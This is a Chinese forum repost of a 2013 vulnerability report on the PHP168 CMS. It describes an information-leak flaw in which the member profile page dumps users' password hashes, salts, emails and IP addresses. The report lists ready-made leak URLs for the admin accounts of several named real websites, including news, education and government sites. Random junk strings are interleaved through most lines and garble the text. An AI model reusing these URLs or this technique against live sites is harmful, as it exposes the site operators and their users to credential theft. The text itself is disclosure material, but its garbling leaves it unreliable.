|
简要描述： 国微PHP168中出现了一处神奇的array，可致全站用户数据泄露。泄露的内容包括全站用户的密码密文、邮箱、密码salt、IP等敏感信息。 详细说明：PHP168程序内置“用户”模块包含用户个人资料展示页面。在很多实际场景中，这个页面不会在前台使用，但可直接通过URL进行访问。页面路由为：/homepage.php/[用户名]/member-profile
6 H: b( x' b/ \9 q( A+ H" B$ T4 V, T4 V3 \" T2 V$ j
以PHP168官方演示站点为例，查看任意用户信息的页面链接为：8 k- `# \, S! P( |! C$ O( s2 l* \, G. N
- H0 v( U. x) I' O2 s
http://php168.cn/com/homepage.php/admin/member-profile
3 e$ Q& z( M r5 U' P# _9 s) ^/ w% A
由于该模块代码中出现了一句神奇的array，导致用户数据表内所有数据被当作数组取出直接显示出来。2 s8 O1 ?' E; {
http://www.myhack58.com/Article/UploadPic/2013-9/2013920918425520.jpg7 q. a/ ]! l! d V9 A& `2 N
+ Q% f5 ^7 B0 P6 L$ J% Z, X6 M! } 漏洞证明：该漏洞影响使用该CMS系统的站点，以PHP168官网上的客户案例为例：3 E$ l, ?; k0 L" Z; I* }7 b- X
m q( y0 l* n Vhttp://www.zjfzol.com.cn/homepage.php/admin/member-profile
* _$ G+ V! h# |# ^' R) v* A& n* q0 o1 G" j& L( R2 g# Q
http://www.scswl.cn/homepage.php/admin/member-profile
) B( q9 W1 V3 N+ {& J1 K5 o& U6 D" `5 ^: i- e- J# Y
http://www.tunet.edu.cn/homepage.php/admin/member-profile- W& n2 G) g4 n) i o9 g6 s
' F. |3 P& I8 ?% P% b6 n; x
http://www.itlead.com.cn/homepage.php/admin/member-profile
. C4 a6 I; d" p3 t$ f
( Y! w& f8 b9 o9 t$ e) Uhttp://www.aedp.cn/homepage.php/admin/member-profile: o3 e- V; z8 B8 w0 ^
1 ~( x9 m* j% `+ zhttp://www.qianlongnews.com/homepage.php/test/member-profile% O& G& s; i" ]2 F/ N
0 n$ s; X l; w3 i( Thttp://ny.zlxk.com/gov/homepage.php/admin/member-profile 修复方案：去掉输出 [/td][/tr]: j& W" d |3 O' \ [6 D# n9 Y& b R
[/table] | 
发表于 2013-9-21 16:02:53
收藏
支持
反对